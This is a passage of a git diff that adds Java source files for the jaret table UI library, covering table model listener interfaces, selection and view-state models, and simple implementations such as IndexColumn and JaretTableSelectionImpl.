* File: IJaretTableModelListener.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +/** + * Listener for listening to table model changes on a jaret table model. + * + * @author Peter Kliem + * @version $Id: IJaretTableModelListener.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface IJaretTableModelListener { + /** + * Called if there has been a change in the row data. + * + * @param row row that changed. + */ + void rowChanged(IRow row); + + /** + * Called when a row has been removed from the model. + * + * @param row removed row. + */ + void rowRemoved(IRow row); + + /** + * Called when a row has been added to the model. + * + * @param idx index of the added row. + * @param row row that has been added. + */ + void rowAdded(int idx, IRow row); + + /** + * Called when a column has been added to the table model. + * + * @param idx index of the new column. + * @param column the new column. + */ + void columnAdded(int idx, IColumn column); + + /** + * Called when a column has been removed from the model. + * + * @param column the removed row. + */ + void columnRemoved(IColumn column); + + /** + * Called when a column changed. + * + * @param column changed column. + */ + void columnChanged(IColumn column); + + /** + * The value of the specified cell changed. + * + * @param row of the cell + * @param column of the cell + */ + void cellChanged(IRow row, IColumn column); + + /** + * All table data has been invalidated. + * + */ + void tableDataChanged(); + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IJaretTableSelection.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IJaretTableSelection.java new file mode 100644 index 0000000..69616f5 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IJaretTableSelection.java @@ -0,0 +1,109 @@ +/* + * File: IJaretTableSelection.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import java.util.List; +import java.util.Set; + +/** + * Interface describing the selection in a jaret table. The selection is composed of full selected rows and columns and + * of a list of selected cells. If the selection contains full selected rows or columns, the cells of the rows/columns + * are not included in the list of single cells. + * + * @author Peter Kliem + * @version $Id: IJaretTableSelection.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface IJaretTableSelection { + /** + * Retrieve selected rows. + * + * @return selected rows. + */ + List getSelectedRows(); + + /** + * Retrieve selected Columns. + * + * @return selecetd columns + */ + List getSelectedColumns(); + + /** + * Retrieve cells that have been selected seperately. + * + * @return List of JaretTableCells selected seperately + */ + List getSelectedCells(); + + /** + * Retrieve a set of all selected cells (union of all cells in selected rows and columns plus. the cells selected + * seperately) + * + * @param model is needed to determine all cells. + * @return Set of all selected cells. + */ + Set getAllSelectedCells(IJaretTableModel model); + + /** + * Add a row to the selection. + * + * @param row the row to add + */ + void addRow(IRow row); + + /** + * Remove row from selection. + * + * @param row row to remove + */ + void remRow(IRow row); + + /** + * Add a acolumn to the selection. + * + * @param column column to add + */ + void addColumn(IColumn column); + + /** + * Remove column from the selection. + * + * @param column col to remove + */ + void remColumn(IColumn column); + + /** + * Add a cell to the selection. + * + * @param cell cell to add + */ + void addCell(IJaretTableCell cell); + + /** + * Remove a cell from the selection. + * + * @param cell cell to remove + */ + void remCell(IJaretTableCell cell); + + /** + * Check if something is selected. + * + * @return true if the selection is empty + */ + boolean isEmpty(); + + /** + * Clear the selection. + * + */ + void clear(); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IJaretTableSelectionModel.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IJaretTableSelectionModel.java new file mode 100644 index 0000000..9f11e6e --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IJaretTableSelectionModel.java @@ -0,0 +1,159 @@ +/* + * File: IJaretTableSelectionModel.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +/** + * Selection model for the jaret table. The selection models controls the slection istelf and the possible selection + * modes. + * + * @author Peter Kliem + * @version $Id: IJaretTableSelectionModel.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface IJaretTableSelectionModel { + + /** + * Clear the selection. + */ + void clearSelection(); + + /** + * Check whether full row selection is allowed. + * + * @return true if full row selection is allowed. + */ + boolean isFullRowSelectionAllowed(); + + /** + * Set the allowance for full row selection. + * + * @param allowed true for allowed + */ + void setFullRowSelectionAllowed(boolean allowed); + + /** + * Check whether full column selection is allowed. + * + * @return true if full column selection is allowed. + */ + boolean isFullColumnSelectionAllowed(); + + /** + * Set the allowance for full column selection. + * + * @param allowed true for allowed + */ + void setFullColumnSelectionAllowed(boolean allowed); + + /** + * + * @return true if selection of single cells is allowed + */ + boolean isCellSelectionAllowed(); + + /** + * Set allowance for single cell selections. + * + * @param allowed true for allowed + */ + void setCellSelectionAllowed(boolean allowed); + + /** + * Retrieve allowance for multiple elements selectable. + * + * @return true if multiple elemets should be selectable + */ + boolean isMultipleSelectionAllowed(); + + /** + * Set the allowance for multiple selection. + * + * @param allowed true for allowed + */ + void setMultipleSelectionAllowed(boolean allowed); + + /** + * Check whether only row selection is allowed. + * + * @return true if only rows should be selectable + */ + boolean isOnlyRowSelectionAllowed(); + + /** + * If set to true only row selection is allowed. + * + * @param allowed true for only row selection + */ + void setOnlyRowSelectionAllowed(boolean allowed); + + /** + * Add a row to the selection. + * + * @param row element to be added to the selection + */ + void addSelectedRow(IRow row); + + /** + * Remove a row from the selection. + * + * @param row element to be removed from the selection + */ + void remSelectedRow(IRow row); + + /** + * Add a column to the selection. + * + * @param column element to be added to the selection + */ + void addSelectedColumn(IColumn column); + + /** + * Remove a column from the selection. + * + * @param column element to be removed from the selection + */ + void remSelectedColumn(IColumn column); + + /** + * Add a cell to the selection. + * + * @param cell element to be added to the selection + */ + void addSelectedCell(IJaretTableCell cell); + + /** + * Remove a cell from the selection. + * + * @param cell element to be removed from the selection + */ + void remSelectedCell(IJaretTableCell cell); + + /** + * retrieve the selected elements in the tabel selection structure. + * + * @return selected elements + */ + IJaretTableSelection getSelection(); + + /** + * Add a listener to listen to changes of the selection. + * + * @param jtsm listener + */ + void addTableSelectionModelListener(IJaretTableSelectionModelListener jtsm); + + /** + * Remove a listener. + * + * @param jtsm listener to be removed + */ + void removeTableSelectionModelListener(IJaretTableSelectionModelListener jtsm); + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IJaretTableSelectionModelListener.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IJaretTableSelectionModelListener.java new file mode 100644 index 0000000..674006c --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IJaretTableSelectionModelListener.java @@ -0,0 +1,62 @@ +/* + * File: IJaretTableSelectionModelListener.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +/** + * Listener for listening on selection changes on a jaret table selection. + * + * @author Peter Kliem + * @version $Id: IJaretTableSelectionModelListener.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface IJaretTableSelectionModelListener { + /** + * Called whenever a row has been added to a selection. + * + * @param row row added. + */ + void rowSelectionAdded(IRow row); + + /** + * Called whenever a row has been removed from the selection. + * + * @param row row removed. + */ + void rowSelectionRemoved(IRow row); + + /** + * Called whenever a cell has been added to a selection. + * + * @param cell cell added + */ + void cellSelectionAdded(IJaretTableCell cell); + + /** + * Called whenever a cell has been removed from the selection. + * + * @param cell cell removed + */ + void cellSelectionRemoved(IJaretTableCell cell); + + /** + * Called whenever a column has been added to a selection. + * + * @param column column added + */ + void columnSelectionAdded(IColumn column); + + /** + * Called whenever a column has been removed from the selection. + * + * @param column column removed + */ + void columnSelectionRemoved(IColumn column); + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IPropColAccessor.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IPropColAccessor.java new file mode 100644 index 0000000..fbf2ea1 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IPropColAccessor.java @@ -0,0 +1,35 @@ +/* + * File: IPropColAccessor.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +/** + * Interface describing an accessor to be used together with the PropCol. + * + * @author kliem + * @version $Id: IPropColAccessor.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface IPropColAccessor { + /** + * Retrieve the value from the base object. + * + * @param base base object + * @return value + */ + Object getValue(Object base); + + /** + * Set a value on the base object. + * + * @param base base object + * @param value value to be set + */ + void setValue(Object base, Object value); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IRow.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IRow.java new file mode 100644 index 0000000..f4fe99e --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IRow.java @@ -0,0 +1,27 @@ +/* + * File: IRow.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +/** + * Row interface for rows used with jaret table models. The unique id is only used for persisting view state + * information (a feature most users do appreciate). + * + * @author Peter Kliem + * @version $Id: IRow.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface IRow { + /** + * Used for storing the row height (identification purposes). + * + * @return a unique id + */ + String getId(); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IRowSorter.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IRowSorter.java new file mode 100644 index 0000000..b45a09b --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IRowSorter.java @@ -0,0 +1,25 @@ +/* + * File: IRowSorter.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import java.util.Comparator; + +import de.jaret.util.misc.PropertyObservable; + +/** + * A comparator for IRow to be set on the table. It is a PropertyObeservable to allow the table to react on changes with + * a refresh. + * + * @author Peter Kliem + * @version $Id: IRowSorter.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface IRowSorter extends Comparator, PropertyObservable { +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/ITableFocusListener.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/ITableFocusListener.java new file mode 100644 index 0000000..d9c5d1d --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/ITableFocusListener.java @@ -0,0 +1,30 @@ +/* + * File: ITableFocusListener.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import de.jaret.util.ui.table.JaretTable; + +/** + * Interface for listeners listening to the focus move on a jaret table. + * + * @author Peter Kliem + * @version $Id: ITableFocusListener.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface ITableFocusListener { + /** + * Focus has been moved or has been initially set. + * + * @param source JaretTable that is the source for the event. + * @param row new focussed row. + * @param column new focussed column. + */ + void tableFocusChanged(JaretTable source, IRow row, IColumn column); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/ITableNode.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/ITableNode.java new file mode 100644 index 0000000..ede2ff6 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/ITableNode.java @@ -0,0 +1,72 @@ +/* + * File: ITableNode.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import java.util.List; + +/** + * Interface describing a table row in a hierarchy of rows. + * + * @author Peter Kliem + * @version $Id: ITableNode.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface ITableNode extends IRow { + + /** + * Retriev all children of the node. + * + * @return chrildren of the node + */ + List getChildren(); + + /** + * Retrieve the level in the tree. + * + * @return level in the tree. + */ + int getLevel(); + + /** + * Tell the node it's level. + * + * @TODO remove + * @param level level of the node + */ + void setLevel(int level); + + /** + * Add a node as a child. + * + * @param node child to be added. + */ + void addNode(ITableNode node); + + /** + * Remove a child node. + * + * @param node node to remove. + */ + void remNode(ITableNode node); + + /** + * Add a listener to listen for node changes. + * + * @param tnl listener to add + */ + void addTableNodeListener(ITableNodeListener tnl); + + /** + * Remove a listener registered for node changes. + * + * @param tnl listener to remove + */ + void removeTableNodeListener(ITableNodeListener tnl); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/ITableNodeListener.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/ITableNodeListener.java new file mode 100644 index 0000000..2518731 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/ITableNodeListener.java @@ -0,0 +1,35 @@ +/* + * File: ITableNodeListener.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +/** + * Interface for listening on jaret table nodes in a hierarchical model. + * + * @author Peter Kliem + * @version $Id: ITableNodeListener.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface ITableNodeListener { + /** + * Called when a node has been added. + * + * @param parent Parent of the new node. + * @param newChild the new node. + */ + void nodeAdded(ITableNode parent, ITableNode newChild); + + /** + * Called whenever a node is removed. + * + * @param parent parent of the removed node. + * @param removedChild the removed node. + */ + void nodeRemoved(ITableNode parent, ITableNode removedChild); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/ITableViewState.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/ITableViewState.java new file mode 100644 index 0000000..da9bb0d --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/ITableViewState.java @@ -0,0 +1,280 @@ +/* + * File: ITableViewState.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import java.util.List; + +import de.jaret.util.ui.table.renderer.ICellStyle; +import de.jaret.util.ui.table.renderer.ICellStyleProvider; + +/** + * View state of a jaret table. The viewstate controls the rendering of the model (i.e. row heights). + * + * @author Peter Kliem + * @version $Id: ITableViewState.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface ITableViewState { + /** + * Enumeration for the row height mode of a table row. + *
      + *
    • FIXED: fixed height
    • + *
    • OPTIMAL: height will be optimal with information from the renderers. Manual resize of the row will not be + * possible.
    • + *
    • OPTANDVAR: like OPTIMAL. When the height of the row is changed manually the row height mode is changed to + * VARIABLE
    • + *
    • VARIABLE: height variable by dragging
    • + *
    + */ + static enum RowHeightMode { + FIXED, OPTIMAL, OPTANDVAR, VARIABLE + }; + + /** + * Enumeration for the possible resize behaviours: + *
      + *
    • NONE: resize will only have an effect on the resized column
    • + *
    • SUBSEQUENT: resize will take/give the space from the next visible column (unless minwidth is reached)
    • + *
    • ALLSUBSEQUENT: resize will take/give the space from all following visible columns (unless minwidth of those + * is reached)
    • + *
    • ALL: width is interpreted as a weight; all columns will be resized
    • + *
    + * Recommended mode is NONE since the other modes result in heavy redraw activity. + */ + static enum ColumnResizeMode { + NONE, SUBSEQUENT, ALLSUBSEQUENT, ALL + }; + + static enum HAlignment { + LEFT, RIGHT, CENTER + }; + + static enum VAlignment { + TOP, BOTTOM, CENTER + }; + + /** + * Retrieve the current height of a row. + * + * @param row row to query the height for. + * @return height in pixel. + */ + int getRowHeight(IRow row); + + /** + * Set the height of a row. + * + * @param row row + * @param height height + */ + void setRowHeight(IRow row, int height); + + /** + * Set the row height for ALL rows. + * + * @param height height + */ + void setRowHeight(int height); + + /** + * Get the configured minimal row heigth. + * + * @return minimal row height + */ + int getMinimalRowHeight(); + + /** + * Set the minimal row height. + * + * @param minimalRowHeight value to set + */ + void setMinimalRowHeight(int minimalRowHeight); + + /** + * Retrieve the row heigth mode for a specific row. + * + * @param row row to get the heigth mode for + * @return the row height mode + */ + RowHeightMode getRowHeigthMode(IRow row); + + /** + * Set the row height mode for a specific row. + * + * @param row row to set the height mode for + * @param mode mode to set. + */ + void setRowHeightMode(IRow row, RowHeightMode mode); + + /** + * Set the row heigth mode for all rows and the mode to use as the default for new rows. + * + * @param mode mode to be used. + */ + void setRowHeightMode(RowHeightMode mode); + + /** + * Retrieve the default row heigth mode. + * + * @return the default row height mode. + */ + RowHeightMode getRowHeightMode(); + + /** + * retrive the width of a column. + * + * @param column column + * @return the width in pixel + */ + int getColumnWidth(IColumn column); + + /** + * Set the width of a column. + * + * @param column column + * @param width width in pixel + */ + void setColumnWidth(IColumn column, int width); + + /** + * Retrieve the minimum column width. + * + * @return the minimum width a col can be shrinked to + */ + int getMinimalColWidth(); + + /** + * Set the minimum col width. + * + * @param minimalColumnWidth width a column can be minimal sized to + */ + void setMinimalColWidth(int minimalColumnWidth); + + /** + * Check whether a column is visible. + * + * @param column column + * @return true if the col is visible + */ + boolean getColumnVisible(IColumn column); + + /** + * Set the visibility of a column. + * + * @param column column + * @param visible true for visible + */ + void setColumnVisible(IColumn column, boolean visible); + + /** + * Set the visibility of a column. + * + * @param columnID id of the column + * @param visible true for visible + */ + void setColumnVisible(String columnID, boolean visible); + + /** + * Check whether resizing of a column is allowed. + * + * @param column column + * @return true if resizing is allowed + */ + boolean columnResizingAllowed(IColumn column); + + /** + * Set whether resizing a column is allowed. + * + * @param column column + * @param resizingAllowed true for allow resizing + */ + void setColumnResizingAllowed(IColumn column, boolean resizingAllowed); + + /** + * Retrieve the mode used when resizing a column. + * + * @return the current column resizing mode + */ + ColumnResizeMode getColumnResizeMode(); + + /** + * Set the mode to use when the size of a column changes. + * + * @param resizeMode the resize mode. + */ + void setColumnResizeMode(ColumnResizeMode resizeMode); + + /** + * Retrieve the list of columns in their display order. + * + * @return List of columnsin their display order + */ + List getSortedColumns(); + + /** + * Set the order of the columns. + * + * @param columns ordered list of columns + */ + void setSortedColumns(List columns); + + /** + * Retrieve the position in the sorting order set. + * + * @param column column + * @return position + */ + int getColumnSortingPosition(IColumn column); + + /** + * Retrieve the sorting direction for a column. + * + * @param column column to check the sorting direction + * @return true for ascending, false for descending + */ + boolean getColumnSortingDirection(IColumn column); + + /** + * Handle the slection of a column for sorting (handle a click). + * + * @param column column to add to the sorting (or to reverse its sorting direction) + */ + void setSorting(IColumn column); + + /** + * Retrieve the cell style provider of the viewstate. + * + * @return the cell style provider + */ + ICellStyleProvider getCellStyleProvider(); + + /** + * Retrieve the cell style for a specified cell. + * + * @param row row of the cell + * @param column column of the cell + * @return the cellstyle for the cell + */ + ICellStyle getCellStyle(IRow row, IColumn column); + + /** + * Add a listener to be informed about changes on the viewstate. + * + * @param tvsl listener to add + */ + void addTableViewStateListener(ITableViewStateListener tvsl); + + /** + * Remove a listener from the viewstate. + * + * @param tvsl listener to be removed + */ + void removeTableViewStateListener(ITableViewStateListener tvsl); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/ITableViewStateListener.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/ITableViewStateListener.java new file mode 100644 index 0000000..d17424e --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/ITableViewStateListener.java @@ -0,0 +1,81 @@ +/* + * File: ITableViewStateListener.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import de.jaret.util.ui.table.model.ITableViewState.RowHeightMode; +import de.jaret.util.ui.table.renderer.ICellStyle; + +/** + * Interface for listening to changes on the viewstate. + * + * @author Peter Kliem + * @version $Id: ITableViewStateListener.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface ITableViewStateListener { + /** + * Height of row changed. + * + * @param row row + * @param newHeight new height + */ + void rowHeightChanged(IRow row, int newHeight); + + /** + * Row height mode changed. + * + * @param row row + * @param newHeightMode new height mode + */ + void rowHeightModeChanged(IRow row, RowHeightMode newHeightMode); + + /** + * Column width changed. + * + * @param column column + * @param newWidth new width + */ + void columnWidthChanged(IColumn column, int newWidth); + + /** + * Called when more than one column width has changed. + * + */ + void columnWidthsChanged(); + + /** + * Called when the visibility of a column changed. + * + * @param column column + * @param visible true column is now visible false otherwise + */ + void columnVisibilityChanged(IColumn column, boolean visible); + + /** + * Called when the sorting order for rows indicated on columns changed. + */ + void sortingChanged(); + + /** + * Called whenever a cellstyle has been changed. + * + * @param row row + * @param column column + * @param cellStyle new or changed cell style + */ + void cellStyleChanged(IRow row, IColumn column, ICellStyle cellStyle); + + /** + * Called when the ordering of the columns changed. + * + */ + void columnOrderChanged(); + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IndexColumn.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IndexColumn.java new file mode 100644 index 0000000..19eaff4 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IndexColumn.java @@ -0,0 +1,102 @@ +/* + * File: IndexColumn.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import de.jaret.util.ui.table.JaretTable; + +/** + * A simple column displaying the row index. + * + * @author Peter Kliem + * @version $Id: IndexColumn.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public class IndexColumn extends AbstractColumn implements IColumn { + /** id of the index col. */ + public static final String ID = "indexColumnId"; + /** table the column is for. */ + protected JaretTable _table; + + /** haeder label for the column. */ + protected String _headerLabel; + + /** + * Construct an index column. + * + * @param table table the indexcolumn is used for + * @param headerLabel hedare label to use + */ + public IndexColumn(JaretTable table, String headerLabel) { + _table = table; + _headerLabel = headerLabel; + } + + /** + * {@inheritDoc} + */ + public String getId() { + return ID; + } + + /** + * {@inheritDoc} + */ + public String getHeaderLabel() { + return _headerLabel; + } + + /** + * {@inheritDoc} + */ + public Object getValue(IRow row) { + return new Integer(_table.getInternalRowIndex(row)); + } + + /** + * {@inheritDoc} + */ + public void setValue(IRow row, Object value) { + } + + /** + * {@inheritDoc} + */ + public int compare(IRow r1, IRow r2) { + return ((Integer) getValue(r1)).compareTo((Integer) getValue(r2)); + } + + /** + * {@inheritDoc} + */ + public boolean supportsSorting() { + return true; + } + + /** + * {@inheritDoc} + */ + public Class getContentClass() { + return Integer.class; + } + + /** + * {@inheritDoc} Never editable. + */ + public boolean isEditable() { + return false; + } + + /** + * {@inheritDoc} Never editable. + */ + public boolean isEditable(IRow row) { + return false; + } +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/JaretTableCellImpl.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/JaretTableCellImpl.java new file mode 100644 index 0000000..072855f --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/JaretTableCellImpl.java @@ -0,0 +1,70 @@ +/* + * File: JaretTableCellImpl.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +/** + * Implementation of the IJaretTableCell. + * + * @author Peter Kliem + * @version $Id: JaretTableCellImpl.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public class JaretTableCellImpl implements IJaretTableCell { + /** the row. */ + protected IRow _row; + + /** the column. */ + protected IColumn _column; + + /** + * Construct a table cell instance. + * + * @param row the row + * @param column the column + */ + public JaretTableCellImpl(IRow row, IColumn column) { + _column = column; + _row = row; + } + + /** + * @return Returns the column. + */ + public IColumn getColumn() { + return _column; + } + + /** + * @return Returns the row. + */ + public IRow getRow() { + return _row; + } + + /** + * {@inheritDoc} + */ + @Override + public boolean equals(Object o) { + if (o == null || !(o instanceof IJaretTableCell)) { + return false; + } + IJaretTableCell cell = (IJaretTableCell) o; + return _row.equals(cell.getRow()) && _column.equals(cell.getColumn()); + } + + /** + * {@inheritDoc} + */ + @Override + public int hashCode() { + return _row.hashCode() * _column.hashCode(); + } +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/JaretTableSelectionImpl.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/JaretTableSelectionImpl.java new file mode 100644 index 0000000..8bf8abd --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/JaretTableSelectionImpl.java @@ -0,0 +1,133 @@ +/* + * File: JaretTableSelectionImpl.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import java.util.ArrayList; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +/** + * Implementation of the JaretTableSelection. + * + * @author Peter Kliem + * @version $Id: JaretTableSelectionImpl.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public class JaretTableSelectionImpl implements IJaretTableSelection { + /** selected rows. */ + protected List _rows = new ArrayList(); + /** selected columns. */ + protected List _columns = new ArrayList(); + /** selected cells. */ + protected List _cells = new ArrayList(); + + /** + * {@inheritDoc} + */ + public void clear() { + _rows.clear(); + _columns.clear(); + _cells.clear(); + } + + /** + * {@inheritDoc} + */ + public List getSelectedRows() { + return _rows; + } + + /** + * {@inheritDoc} + */ + public List getSelectedColumns() { + return _columns; + } + + /** + * {@inheritDoc} + */ + public List getSelectedCells() { + return _cells; + } + + /** + * {@inheritDoc} + */ + public void addRow(IRow row) { + _rows.add(row); + } + + /** + * {@inheritDoc} + */ + public void remRow(IRow row) { + _rows.remove(row); + } + + /** + * {@inheritDoc} + */ + public void addColumn(IColumn column) { + _columns.add(column); + } + + /** + * {@inheritDoc} + */ + public void remColumn(IColumn column) { + _columns.remove(column); + } + + /** + * {@inheritDoc} + */ + public void addCell(IJaretTableCell cell) { + _cells.add(cell); + } + + /** + * {@inheritDoc} + */ + public void remCell(IJaretTableCell cell) { + _cells.remove(cell); + } + + /** + * {@inheritDoc} + */ + public boolean isEmpty() { + return _rows.size() == 0 && _columns.size() == 0 && _cells.size() == 0; + } + + /** + * {@inheritDoc} + */ + public Set getAllSelectedCells(IJaretTableModel model) { + Set set = new HashSet(); + for (IRow row : _rows) { + for (int i = 0; i < model.getColumnCount(); i++) { + JaretTableCellImpl cell = new JaretTableCellImpl(row, model.getColumn(i)); + set.add(cell); + } + } + for (IColumn col : _columns) { + for (int i = 0; i < model.getRowCount(); i++) { + JaretTableCellImpl cell = new JaretTableCellImpl(model.getRow(i), col); + 